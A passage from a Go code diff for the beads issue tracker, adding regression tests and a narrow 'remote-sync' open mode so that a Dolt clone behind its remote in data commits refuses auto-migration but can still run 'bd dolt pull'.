"github.com/steveyegge/beads/internal/storage/versioncontrolops" +) + +// TestDoltNew_SmartRemoteMigrateGate_DataBehindBlocks_RealDolt is the +// regression test for gastownhall/beads#6575: the smart gate's first-mover +// verdict used to be computed from schema facts alone, so a clone level with +// the remote on SCHEMA but behind it in DATA commits was classified a safe +// first-mover and auto-migrated in place — minting local-only schema commits +// on a HEAD missing the remote's data commits, which is one route into the +// #6368 events pull refusal. +// +// The fixture builds a genuinely data-behind clone against a real Dolt server +// — the behind-ness is MEASURED here (the same ahead/behind primitive the gate +// consults), never stubbed, because a test that fakes the fact the bug is about +// proves nothing: +// +// - "source" regresses its schema cursor one migration below latest (commit +// C0) and publishes C0 to a file:// origin. +// - "laggingClone" is a genuine server-side DOLT_CLONE of origin at C0. +// - "source" then makes a pure DATA commit C1 (a config row — no schema +// change at all, so the two stay at the SAME schema version) and pushes. +// - laggingClone runs CALL DOLT_FETCH('origin') only, so its cached +// remotes/origin/main advances to C1 while its own branch HEAD stays at C0. +// +// laggingClone is now schema-level with the remote (equal content hashes, +// equal max version — the smart gate's first-mover precondition) and yet one +// data commit behind it. The gate must refuse with the pull-first fallback +// reason rather than auto-migrate. +// +// BOTH shapes of that state are covered, because the review of the first fix +// measured that the narrower one was the rarer one (F2). The subtests differ +// only in whether the clone also makes a local commit of its own before the +// gate runs: +// +// - ahead=0, behind=1 — a strict ancestor; `bd dolt pull` fast-forwards. +// - ahead=1, behind=1 — diverged; `bd dolt pull` merges. Since bd +// auto-commits every write, this is the ordinary multi-machine state, and +// it reaches the identical wedge. At the first fix's head this shape +// printed "safe first-mover" and migrated. +// +// The second half of each subtest then proves the remedy loop self-heals and +// that the fix does not over-refuse: once the clone has nothing left to pull, +// the very same gate call auto-migrates it as a true first-mover. +func TestDoltNew_SmartRemoteMigrateGate_DataBehindBlocks_RealDolt(t *testing.T) { + for _, tc := range []struct { + name string + // localCommits is how many commits of its own the lagging clone makes + // after fetching: 0 is the strict-ancestor shape, 1 the diverged one. + localCommits int + wantDiverged bool + // wantRemedy is the substring the guidance must carry for this shape, + // so a clone is never told its pull will fast-forward when it merges. + wantRemedy string + }{ + {name: "strict ancestor", localCommits: 0, wantRemedy: "pure fast-forward"}, + {name: "diverged", localCommits: 1, wantDiverged: true, wantRemedy: "MERGES"}, + } { + t.Run(tc.name, func(t *testing.T) { + runDataBehindGateCase(t, tc.localCommits, tc.wantDiverged, tc.wantRemedy) + }) + } +} + +func runDataBehindGateCase(t *testing.T, localCommits int, wantDiverged bool, wantRemedy string) { + skipIfNoDolt(t) + t.Setenv(schema.SmartGateEnv, "1") + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + + ctx, cancel := testContext(t) + defer cancel() + + latest := schema.LatestVersion() + floor := schema.LastNonDeterministicMigration + if latest-1 < floor { + t.Skipf("latest=%d too close to floor=%d to build the fixture", latest, floor) + } + pBehind := latest - 1 + + tmpDir := t.TempDir() + sourceDB := uniqueTestDBName(t) + + source, err := New(ctx, &Config{ + Path: tmpDir, + CommitterName: "test", + CommitterEmail: "test@example.com", + Database: sourceDB, + CreateIfMissing: true, + MaxOpenConns: 1, // single session so working-set regressions are visible to the gate reads + }) + if err != nil { + t.Fatalf("New (source): %v", err) + } + sdb := source.db + defer func() { + dropCtx, dropCancel := context.WithTimeout(context.Background(), 5*testTimeout) + defer dropCancel() + _, _ = sdb.ExecContext(dropCtx, fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", sourceDB)) + source.Close() + }() + + mustExec := func(stage string, db *sql.DB, q string, args ...any) { + t.Helper() + if _, err := db.ExecContext(ctx, q, args...); err != nil { + t.Fatalf("%s: %v", stage, err) + } + } + + remoteURL := "file://" + filepath.Join(tmpDir, "data-behind-remote") + + // --- source: regress to pBehind (commit C0) and publish it. --- + mustExec("regress to pBehind", sdb, "DELETE FROM schema_migrations WHERE version = ?", latest) + mustExec("stage C0", sdb, "CALL DOLT_ADD('-A')") + mustExec("commit C0", sdb, "CALL DOLT_COMMIT('--allow-empty', '-m', 'test: regress to pBehind (C0)')") + mustExec("add remote", sdb, "CALL DOLT_REMOTE('add', 'origin', ?)", remoteURL) + mustExec("push C0", sdb, "CALL DOLT_PUSH('origin', 'main')") + + // --- laggingClone: a genuine server-side clone of origin at C0. --- + laggingDB := uniqueTestDBName(t) + mustExec("clone lagging peer", sdb, "CALL DOLT_CLONE(?, ?)", remoteURL, laggingDB) + defer func() { + dropCtx, dropCancel := context.WithTimeout(context.Background(), 5*testTimeout) + defer dropCancel() + _, _ = sdb.ExecContext(dropCtx, fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", laggingDB)) + }() + + laggingConn, err := sql.Open("mysql", doltutil.ServerDSN{ + Host: "127.0.0.1", Port: testServerPort, User: "root", Database: laggingDB, + }.String()) + if err != nil { + t.Fatalf("open laggingClone connection: %v", err) + } + defer laggingConn.Close() + laggingConn.SetMaxOpenConns(1) + + // --- source: a pure DATA commit C1 (no schema change) and publish. The + // schema cursor stays at pBehind on BOTH sides, so the clone lands on the + // gate's equal-version first-mover path while being a data commit behind. --- + mustExec("source data edit", sdb, "REPLACE INTO config (`key`, value) VALUES ('data-behind-marker', 'C1')") + mustExec("commit C1", sdb, "CALL DOLT_COMMIT('-Am', 'test: pure data commit (C1)')") + mustExec("push C1", sdb, "CALL DOLT_PUSH('origin', 'main')") + + // --- laggingClone: fetch only (no merge) so its cached ref advances but + // its own branch HEAD stays at C0. --- + mustExec("fetch (no merge)", laggingConn, "CALL DOLT_FETCH('origin')") + + // --- and, for the diverged shape, commits of its own on top of C0. bd + // auto-commits every write, so this is what an ordinary local `bd create` + // leaves behind. --- + for i := 0; i < localCommits; i++ { + mustExec("clone data edit", laggingConn, + "REPLACE INTO config (`key`, value) VALUES ('local-marker', ?)", fmt.Sprintf("L%d", i)) + mustExec("clone local commit", laggingConn, "CALL DOLT_COMMIT('-Am', 'test: local-only data commit')") + } + + // Fixture sanity: the clone's schema cursor equals the remote's (the + // first-mover precondition), not below it. + var laggingCurrent int + if err := laggingConn.QueryRowContext(ctx, + "SELECT COALESCE(MAX(version), 0) FROM schema_migrations").Scan(&laggingCurrent); err != nil { + t.Fatalf("read laggingClone current version: %v", err) + } + if laggingCurrent != pBehind { + t.Fatalf("laggingClone current version = %d, want %d", laggingCurrent, pBehind) + } + var remoteCurrent int + if err := laggingConn.QueryRowContext(ctx, + "SELECT COALESCE(MAX(version), 0) FROM schema_migrations AS OF 'remotes/origin/main'").Scan(&remoteCurrent); err != nil { + t.Fatalf("read cached remote current version: %v", err) + } + if remoteCurrent != laggingCurrent { + t.Fatalf("cached remote version = %d, want %d (equal-version first-mover path)", remoteCurrent, laggingCurrent) + } + + // The load-bearing measurement: the clone IS behind its own cached remote + // ref, in exactly the shape this subtest claims, read through the same + // primitive the gate consults. + ahead, behind, err := versioncontrolops.LocalAheadBehind(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("LocalAheadBehind: %v", err) + } + if behind < 1 || ahead != localCommits { + t.Fatalf("fixture position = ahead %d, behind %d; want ahead %d, behind >= 1", ahead, behind, localCommits) + } + // The strict-ancestor relation is the NARROWER fact the first fix used, and + // the diverged shape is precisely where it reads false while the clone is + // still behind — pin that, so this subtest cannot silently stop covering + // the widening it exists for. + strictAncestor, err := versioncontrolops.LocalIsStrictAncestorOf(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("LocalIsStrictAncestorOf: %v", err) + } + if want := localCommits == 0; strictAncestor != want { + t.Fatalf("LocalIsStrictAncestorOf = %v, want %v for ahead=%d", strictAncestor, want, ahead) + } + // And it is behind for data reasons only — the working set is clean, so the + // refusal below cannot be attributed to local dirt. + clean, err := versioncontrolops.WorkingSetClean(ctx, laggingConn) + if err != nil { + t.Fatalf("WorkingSetClean: %v", err) + } + if !clean { + t.Fatalf("fixture working set is dirty; the data-behind refusal must not depend on dirt") + } + + // #6575: the gate must refuse rather than auto-migrate this clone. + err = schema.CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt( + ctx, laggingConn, "origin", nil, realFastForwardAdopter()) + var gateErr *schema.RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("data-behind clone (ahead=%d): expected the gate to refuse, got %v (#6575: schema parity is not proof of first-mover status)", ahead, err) + } + if gateErr.Decision != "" { + t.Errorf("Decision = %q, want \"\" (the blunt #4515 stop)", gateErr.Decision) + } + if !gateErr.IsDataBehind() { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, "data-behind") + } + if gateErr.DataDiverged != wantDiverged { + t.Errorf("DataDiverged = %v, want %v", gateErr.DataDiverged, wantDiverged) + } + msg := gateErr.UserMessage() + // The remedy has to be there, and has to be the one measured to work from + // this state: the refusal's own open classification lets `bd dolt pull` + // through (see embeddeddolt's TestEmbeddedOpenForRemoteSync_DataBehind). + if !strings.Contains(msg, schema.DataBehindRemedyCommand) { + t.Errorf("UserMessage does not carry the pull-first remedy:\n%s", msg) + } + if !strings.Contains(msg, wantRemedy) { + t.Errorf("UserMessage does not describe this shape's pull (%q):\n%s", wantRemedy, msg) + } + + // No data motion: the refusal must not have moved the clone's HEAD. + aheadAfter, behindAfter, err := versioncontrolops.LocalAheadBehind(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("compare laggingClone HEAD to origin/main after refusal: %v", err) + } + if aheadAfter != ahead || behindAfter != behind { + t.Errorf("after refusal: ahead=%d behind=%d, want ahead=%d behind=%d (no data motion)", + aheadAfter, behindAfter, ahead, behind) + } + + // --- remedy loop: `bd dolt pull` (a fast-forward for the strict-ancestor + // shape, a merge for the diverged one) leaves the clone with nothing left to + // pull, and the SAME gate call then auto-migrates it as a true first-mover. + // This is what keeps the fix from over-refusing. --- + if localCommits == 0 { + mustExec("pull (fast-forward)", laggingConn, "CALL DOLT_MERGE('--ff-only', 'remotes/origin/main')") + } else { + mustExec("pull (merge)", laggingConn, "CALL DOLT_MERGE('remotes/origin/main')") + } + + _, behindAfterPull, err := versioncontrolops.LocalAheadBehind(ctx, laggingConn, "remotes/origin/main") + if err != nil { + t.Fatalf("LocalAheadBehind after pull: %v", err) + } + if behindAfterPull != 0 { + t.Fatalf("clone is still behind by %d after the pull; fixture broken", behindAfterPull) + } + + if err := schema.CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt( + ctx, laggingConn, "origin", nil, realFastForwardAdopter()); err != nil { + t.Fatalf("the first-mover auto-migrate must be allowed once there is nothing left to pull, got %v", err) + } +} diff --git a/internal/storage/dolt/smart_remote_migrate_gate_test.go b/internal/storage/dolt/smart_remote_migrate_gate_test.go index e41ee90cf..a862155e4 100644 --- a/internal/storage/dolt/smart_remote_migrate_gate_test.go +++ b/internal/storage/dolt/smart_remote_migrate_gate_test.go @@ -141,6 +141,9 @@ func realFastForwardAdopter() *schema.FastForwardAdopter { WorkingSetClean: func(ctx context.Context, db schema.DBConn) (bool, error) { return versioncontrolops.WorkingSetClean(ctx, db) }, + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, FastForward: func(ctx context.Context, db schema.DBConn, ref string) error { return versioncontrolops.FastForwardAdopt(ctx, db, ref) }, diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index f316dafe4..0f769cdf4 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -382,6 +382,15 @@ type Config struct { // open of a clean database converges normally. LenientOpen bool + // RemoteSyncOpen is LenientOpen's narrow sibling for the #6575 + // data-behind gate refusal: it tolerates ONLY that refusal (and only that + // refusal — not the dirty-table guard, not any other gate reason), because + // the refusal's documented remedy is `bd dolt pull`, which opens the store + // and so hit the refusal that prescribed it. Set for the remote-sync + // commands that can clear the refused precondition. Honored in embedded + // (openRemoteSync) and server mode alike. + RemoteSyncOpen bool + // Server connection options ServerSocket string // Unix domain socket path (overrides Host/Port when set) ServerHost string // Server host (default: 127.0.0.1) @@ -2050,7 +2059,9 @@ func newServerMode(ctx context.Context, cfg *Config) (*DoltStore, error) { if !cfg.ReadOnly && !cfg.Gateway { applied, err := store.initSchema(ctx, dbFacts.bootstrapHeal) if err != nil { - if !cfg.LenientOpen || !warnLenientOpenRefusal(err) { + tolerated := (cfg.LenientOpen && warnLenientOpenRefusal(err)) || + (cfg.RemoteSyncOpen && warnRemoteSyncOpenRefusal(err)) + if !tolerated { return nil, fmt.Errorf("failed to initialize schema: %w", err) } // A tolerated refusal still reports what the aborted pass @@ -2127,6 +2138,35 @@ func warnLenientOpenRefusal(err error) bool { return false } +// warnRemoteSyncOpenRefusal reports whether a remote-sync open +// (Config.RemoteSyncOpen) may continue past err instead of failing, warning on +// stderr when it may. +// +// It is warnLenientOpenRefusal's narrow sibling and tolerates exactly one +// refusal: the #6575 data-behind remote-migrate gate stop, whose documented +// remedy is `bd dolt pull` — a command that opens the store and therefore hit +// the very refusal that prescribed it. That is the #4566 deadlock shape, and +// #4566's own fix (a lenient open for `bd dolt commit`) is the precedent. +// +// Everything else — every other gate reason, the dirty-table guard, and any +// other migration failure — still fails the open here, exactly as on a strict +// open. A pull cannot resolve a fork skew, a below-floor database or a +// shared-store consent decision, so letting it through those refusals would +// buy nothing and hide them. +func warnRemoteSyncOpenRefusal(err error) bool { + var gateErr *schema.RemoteMigrateGateError + if errors.As(err, &gateErr) && gateErr.IsDataBehind() { + fmt.Fprintf(os.Stderr, + "Warning: %s"+ + " Remote-sync command: continuing on schema v%d without migrating, so this\n"+ + " pull can bring in the commits this clone is behind on. Re-run the command\n"+ + " you were blocked on once it completes.\n", + gateErr.UserMessage(), gateErr.CurrentVersion) + return true + } + return false +} + var ( cleanServerCircuitState = CleanStaleCircuitBreakerFiles newServerCircuitBreaker = maybeNewCircuitBreaker @@ -2956,6 +2996,13 @@ func (s *DoltStore) initSchema(ctx context.Context, bootstrapHeal *schema.FreshB IsStrictAncestor: func(ctx context.Context, db schema.DBConn, ref string) (bool, error) { return versioncontrolops.LocalIsStrictAncestorOf(ctx, db, ref) }, + // The raw counts the equal-version data-behind check needs + // (gastownhall/beads#6575): behind >= 1 whatever ahead is, plus + // which shape it is so the refusal names the pull the operator + // will actually get. + AheadBehind: func(ctx context.Context, db schema.DBConn, ref string) (int, int, error) { + return versioncontrolops.LocalAheadBehind(ctx, db, ref) + }, WorkingSetClean: func(ctx context.Context, db schema.DBConn) (bool, error) { return versioncontrolops.WorkingSetClean(ctx, db) }, diff --git a/internal/storage/embeddeddolt/cache.go b/internal/storage/embeddeddolt/cache.go index 1e4e50f6c..72d9166e7 100644 --- a/internal/storage/embeddeddolt/cache.go +++ b/internal/storage/embeddeddolt/cache.go @@ -54,6 +54,19 @@ func OpenForWorkingSetReconcile(ctx context.Context, beadsDir, database, branch return openCached(ctx, beadsDir, database, branch, openWorkingSetReconcile) } +// OpenForRemoteSync opens like Open, except that the #6575 data-behind +// remote-migrate gate refusal — and only that one — skips the pending +// migrations with a stderr warning instead of failing the open: that refusal's +// entire remedy is `bd dolt pull`, which opens the store itself and so hit the +// refusal that prescribed it, leaving the refused clone with no in-band exit at +// all (the same deadlock #4566 broke for `bd dolt commit`). Every other gate +// refusal, the dirty-table guard and the dependency re-key still fail this open +// exactly as they fail a strict one. The returned store is otherwise a normal +// writable store. +func OpenForRemoteSync(ctx context.Context, beadsDir, database, branch string) (*EmbeddedDoltStore, error) { + return openCached(ctx, beadsDir, database, branch, openRemoteSync) +} + func openCached(ctx context.Context, beadsDir, database, branch string, intent openIntent) (*EmbeddedDoltStore, error) { key, err := cacheKey(beadsDir) if err != nil { @@ -65,8 +78,9 @@ func openCached(ctx context.Context, beadsDir, database, branch string, intent o // Cache hit: the requested intent is ignored - the store keeps // whatever intent it was opened with on the slow path below. This is // safe today because intent is derived once per process from the - // command classification (isReadOnlyCommand / isWorkingSetReconcileCommand - // in cmd/bd/main.go), so a single process never opens the same data + // command classification (isReadOnlyCommand / + // isWorkingSetReconcileCommand / isRemoteSyncCommand in + // cmd/bd/main.go), so a single process never opens the same data // directory under two different intents, and autoMigrateOnVersionBump // (cmd/bd/version_tracking.go) always opens its own openStrict store // and closes it before the main command's open runs, so it never diff --git a/internal/storage/embeddeddolt/remote_sync_gate_test.go b/internal/storage/embeddeddolt/remote_sync_gate_test.go new file mode 100644 index 000000000..adb140be6 --- /dev/null +++ b/internal/storage/embeddeddolt/remote_sync_gate_test.go @@ -0,0 +1,381 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "database/sql" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// buildDataBehindEmbedded leaves the embedded database at beadsDir in the +// #6575 state: level with its own cached remotes/origin/main on SCHEMA (both +// at latest-1, so the smart gate takes its equal-version first-mover path) and +// BEHIND it by one pure DATA commit. extraLocalCommits > 0 additionally gives +// it commits of its own, producing the diverged shape (ahead >= 1, behind >= 1). +// +// The behind-ness is produced the way the field cohort reaches it — a real +// file:// remote that has commits this history does not — rather than by +// stubbing the ancestry fact. A single database can build it because pushing +// C1 and then rewinding local HEAD to C0 leaves the remote-tracking ref ahead +// of the branch, which is exactly what a fetch-without-merge produces on a +// clone; no second engine is needed. +func buildDataBehindEmbedded(t *testing.T, beadsDir string, extraLocalCommits int) { + t.Helper() + ctx := t.Context() + dataDir := filepath.Join(beadsDir, "embeddeddolt") + + store, err := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if err != nil { + t.Fatalf("Open (create): %v", err) + } + store.Close() + + db, cleanup, err := embeddeddolt.OpenSQL(ctx, dataDir, "testdb", "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + + mustExec := func(stage, q string, args ...any) { + t.Helper() + if _, err := db.ExecContext(ctx, q, args...); err != nil { + t.Fatalf("%s: %v", stage, err) + } + } + + // C0: regress the schema cursor one migration below latest — the "old + // binary" state the 1.3.0 upgrade cohort is in — and publish it. + mustExec("regress schema cursor", "DELETE FROM schema_migrations WHERE version = ?", schema.LatestVersion()) + mustExec("stage C0", "CALL DOLT_ADD('-A')") + mustExec("commit C0", "CALL DOLT_COMMIT('--allow-empty', '-m', 'test: regress schema cursor (C0)')") + + var c0 string + if err := db.QueryRowContext(ctx, "SELECT commit_hash FROM dolt_log LIMIT 1").Scan(&c0); err != nil { + t.Fatalf("read C0 hash: %v", err) + } + + mustExec("add remote", "CALL DOLT_REMOTE('add', 'origin', ?)", + "file://"+filepath.Join(t.TempDir(), "remote")) + mustExec("push C0", "CALL DOLT_PUSH('origin', 'main')") + + // C1: a pure DATA commit, published. No schema change, so both sides stay + // at latest-1 and the gate lands on its equal-version path. + mustExec("data edit", "REPLACE INTO config (`key`, value) VALUES ('data-behind-marker', 'C1')") + mustExec("commit C1", "CALL DOLT_COMMIT('-Am', 'test: pure data commit (C1)')") + mustExec("push C1", "CALL DOLT_PUSH('origin', 'main')") + + // Rewind the branch to C0. remotes/origin/main stays at C1, so this + // history is now behind its cached remote ref by one data commit. + mustExec("rewind to C0", "CALL DOLT_RESET('--hard', ?)", c0) + + for i := 0; i < extraLocalCommits; i++ { + mustExec("local data edit", "REPLACE INTO config (`key`, value) VALUES ('local-marker', ?)", i) + mustExec("local commit", "CALL DOLT_COMMIT('-Am', 'test: local-only data commit')") + } + + assertAheadBehind(t, db, extraLocalCommits, 1) +} + +// assertAheadBehind pins the fixture's measured position against +// remotes/origin/main, so a refusal below can never be attributed to a fixture +// that failed to produce the state it claims. +func assertAheadBehind(t *testing.T, db *sql.DB, wantAhead, wantBehind int) { + t.Helper() + var ahead, behind int + if err := db.QueryRowContext(t.Context(), ` + SELECT + (SELECT COUNT(*) FROM dolt_log WHERE commit_hash NOT IN + (SELECT commit_hash FROM dolt_log AS OF 'remotes/origin/main')) AS ahead, + (SELECT COUNT(*) FROM dolt_log AS OF 'remotes/origin/main' WHERE commit_hash NOT IN + (SELECT commit_hash FROM dolt_log)) AS behind + `).Scan(&ahead, &behind); err != nil { + t.Fatalf("measure ahead/behind: %v", err) + } + if ahead != wantAhead || behind != wantBehind { + t.Fatalf("fixture position = ahead %d, behind %d; want ahead %d, behind %d", + ahead, behind, wantAhead, wantBehind) + } +} + +// pendingMigrationStillPending fails unless the binary's latest migration is +// still unapplied — i.e. the open under test did NOT migrate. +func pendingMigrationStillPending(t *testing.T, beadsDir string) { + t.Helper() + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), filepath.Join(beadsDir, "embeddeddolt"), "testdb", "main") + if err != nil { + t.Fatalf("OpenSQL (verify): %v", err) + } + defer func() { _ = cleanup() }() + var count int + if err := db.QueryRowContext(t.Context(), + "SELECT COUNT(*) FROM schema_migrations WHERE version = ?", schema.LatestVersion()).Scan(&count); err != nil { + t.Fatalf("read schema_migrations: %v", err) + } + if count != 0 { + t.Fatalf("the open applied the pending migration (version %d recorded); a data-behind clone must not migrate", + schema.LatestVersion()) + } +} + +// TestEmbeddedOpenForRemoteSync_DataBehind is the F1 regression test for +// gastownhall/beads#6575: the refusal must not block its own prescribed +// remedy. +// +// The data-behind stop tells the operator to run `bd dolt pull`. That command +// opens the store, and a strict open re-hits the refusal that prescribed it, so +// before this the refused clone had no in-band exit at all — on embedded there +// is no external `dolt` binary either, leaving only +// BD_ALLOW_REMOTE_MIGRATE=1, i.e. performing the migration the refusal exists +// to prevent. This is the same deadlock #4566 broke for `bd dolt commit`, and +// the remote-sync open is its narrow twin. +// +// Both shapes are covered: strict-ancestor (ahead 0) and diverged (ahead 1). +func TestEmbeddedOpenForRemoteSync_DataBehind(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + + for _, tc := range []struct { + name string + extraLocalCommits int + wantDiverged bool + }{ + {name: "strict ancestor (ahead 0, behind 1)", extraLocalCommits: 0}, + {name: "diverged (ahead 1, behind 1)", extraLocalCommits: 1, wantDiverged: true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + t.Setenv(schema.SmartGateEnv, "1") + schema.SetForceAllowRemoteMigrate(false) + + ctx := t.Context() + beadsDir := filepath.Join(t.TempDir(), ".beads") + buildDataBehindEmbedded(t, beadsDir, tc.extraLocalCommits) + + // A strict open still refuses, and refuses for the data-behind + // reason (not some other fixture artifact). + gated, gateErr := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if gateErr == nil { + gated.Close() + t.Fatal("Open of a data-behind, remote-backed DB = nil error, want the #6575 refusal") + } + var rmErr *schema.RemoteMigrateGateError + if !errors.As(gateErr, &rmErr) { + t.Fatalf("Open error = %T (%v), want *schema.RemoteMigrateGateError", gateErr, gateErr) + } + if !rmErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q, want the data-behind stop", rmErr.FallbackReason) + } + if rmErr.DataDiverged != tc.wantDiverged { + t.Errorf("DataDiverged = %v, want %v", rmErr.DataDiverged, tc.wantDiverged) + } + + // ...and the remote-sync open — what `bd dolt pull` uses — gets + // through it, without migrating. + syncStore, syncErr := embeddeddolt.OpenForRemoteSync(ctx, beadsDir, "testdb", "main") + if syncErr != nil { + t.Fatalf("OpenForRemoteSync of a data-behind DB = %v; the refusal must not block the pull it prescribes (#6575)", syncErr) + } + syncStore.Close() + pendingMigrationStillPending(t, beadsDir) + }) + } +} + +// TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal pins the narrowness of +// the exemption above, which is the whole reason it is keyed on the gate's +// REASON rather than being another blanket lenient open: a pull cannot resolve +// a fork skew, a below-floor database or an opted-out blunt block, so it must +// not be waved through them. Here BD_SMART_GATE=0 produces the blunt +// opted-out stop on the very same fixture that the data-behind case above +// opens successfully. +func TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + schema.SetForceAllowRemoteMigrate(false) + + ctx := t.Context() + beadsDir := filepath.Join(t.TempDir(), ".beads") + // Build the fixture with the smart gate ON (the fixture helper's own + // Open must not be the thing that is opted out), then opt out for the + // probe below. + t.Setenv(schema.SmartGateEnv, "1") + buildDataBehindEmbedded(t, beadsDir, 0) + t.Setenv(schema.SmartGateEnv, "0") + + store, err := embeddeddolt.OpenForRemoteSync(ctx, beadsDir, "testdb", "main") + if err == nil { + store.Close() + t.Fatal("OpenForRemoteSync = nil error with BD_SMART_GATE=0; the exemption must apply to the data-behind reason only") + } + var rmErr *schema.RemoteMigrateGateError + if !errors.As(err, &rmErr) { + t.Fatalf("error = %T (%v), want *schema.RemoteMigrateGateError", err, err) + } + if rmErr.IsDataBehind() { + t.Fatalf("FallbackReason = %q; with the smart gate off this must be the blunt opted-out stop", rmErr.FallbackReason) + } +} + +// TestEmbeddedLenientOpenWarning_DataBehind is the READ-path half of +// gastownhall/beads#6575, and the half the write-path fix missed. +// +// The lenient embedded opens do not fail on this refusal — they warn and carry +// on — so the warning IS the entire user-facing contract for `bd list`, +// `bd ready`, `bd show` (openReadOnlyCommand) and `bd dolt commit` +// (openWorkingSetReconcile). Those are the first commands a 1.1-era upgrader +// runs and the ones agents run constantly, and they printed the blunt #4259 +// coordination bullets: `bd migrate --force && bd dolt push`, which on a +// data-behind clone applies the migration this stop exists to prevent and then +// fails the push non-fast-forward, and `bd bootstrap`, which no-ops against an +// existing workspace. A fence whose own signage pointed into the wedge. +// +// The assertions are deliberately two-sided — the pull must be present AND the +// wedge commands must be absent — because the previous round satisfied +// "mentions the remedy somewhere" while still printing the bullets underneath +// it. +func TestEmbeddedLenientOpenWarning_DataBehind(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + + shapes := []struct { + name string + extraLocalCommits int + wantShapeText string + notShapeText string + }{ + { + name: "fast-forward (ahead 0, behind 1)", + wantShapeText: "pure fast-forward", + notShapeText: "MERGES rather than", + }, + { + name: "diverged (ahead 1, behind 1)", + extraLocalCommits: 1, + wantShapeText: "MERGES rather than", + notShapeText: "pure fast-forward", + }, + } + intents := []struct { + name string + open func(t *testing.T, beadsDir string) (*embeddeddolt.EmbeddedDoltStore, error) + modeText string + }{ + { + name: "openReadOnlyCommand (bd list)", + open: func(t *testing.T, beadsDir string) (*embeddeddolt.EmbeddedDoltStore, error) { + return embeddeddolt.OpenForReadOnlyCommand(t.Context(), beadsDir, "testdb", "main") + }, + modeText: "Read-only command: continuing on schema v", + }, + { + name: "openWorkingSetReconcile (bd dolt commit)", + open: func(t *testing.T, beadsDir string) (*embeddeddolt.EmbeddedDoltStore, error) { + return embeddeddolt.OpenForWorkingSetReconcile(t.Context(), beadsDir, "testdb", "main") + }, + modeText: "Working-set reconcile command: continuing on schema v", + }, + } + + for _, shape := range shapes { + for _, intent := range intents { + t.Run(shape.name+"/"+intent.name, func(t *testing.T) { + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + t.Setenv(schema.SmartGateEnv, "1") + schema.SetForceAllowRemoteMigrate(false) + + beadsDir := filepath.Join(t.TempDir(), ".beads") + buildDataBehindEmbedded(t, beadsDir, shape.extraLocalCommits) + + var store *embeddeddolt.EmbeddedDoltStore + var openErr error + warning := captureStderr(t, func() { + store, openErr = intent.open(t, beadsDir) + }) + if openErr != nil { + t.Fatalf("lenient open of a data-behind DB = %v; it must warn and continue", openErr) + } + store.Close() + pendingMigrationStillPending(t, beadsDir) + + for _, want := range []string{ + schema.DataBehindRemedyCommand, + "This clone is BEHIND the remote", + "Do NOT use `bd migrate --force` to get past this", + shape.wantShapeText, + intent.modeText, + } { + if !strings.Contains(warning, want) { + t.Errorf("warning is missing %q; got:\n%s", want, warning) + } + } + if strings.Contains(warning, shape.notShapeText) { + t.Errorf("warning describes the wrong pull shape (%q); got:\n%s", shape.notShapeText, warning) + } + + // The blunt #4259 coordination bullets, which ARE the #6575 + // wedge when this is the refusal. + for _, unwanted := range []string{ + "bd migrate --force && bd dolt push", + "designated migrator (only ONE machine)", + "bd bootstrap", + } { + if strings.Contains(warning, unwanted) { + t.Errorf("warning still prescribes %q on a data-behind clone; got:\n%s", unwanted, warning) + } + } + }) + } + } +} + +// TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance is the other +// side of that fence. The data-behind body REPLACES the blunt coordination +// bullets rather than decorating them, so it must not swallow them for the +// refusals they are right for. BD_SMART_GATE=0 turns the same fixture into the +// blunt opted-out stop, where migrate-or-adopt genuinely is the decision. +func TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + schema.SetForceAllowRemoteMigrate(false) + + beadsDir := filepath.Join(t.TempDir(), ".beads") + t.Setenv(schema.SmartGateEnv, "1") + buildDataBehindEmbedded(t, beadsDir, 0) + t.Setenv(schema.SmartGateEnv, "0") + + var store *embeddeddolt.EmbeddedDoltStore + var openErr error + warning := captureStderr(t, func() { + store, openErr = embeddeddolt.OpenForReadOnlyCommand(t.Context(), beadsDir, "testdb", "main") + }) + if openErr != nil { + t.Fatalf("lenient open with the smart gate off = %v; it must warn and continue", openErr) + } + store.Close() + + for _, want := range []string{ + "designated migrator (only ONE machine): bd migrate --force && 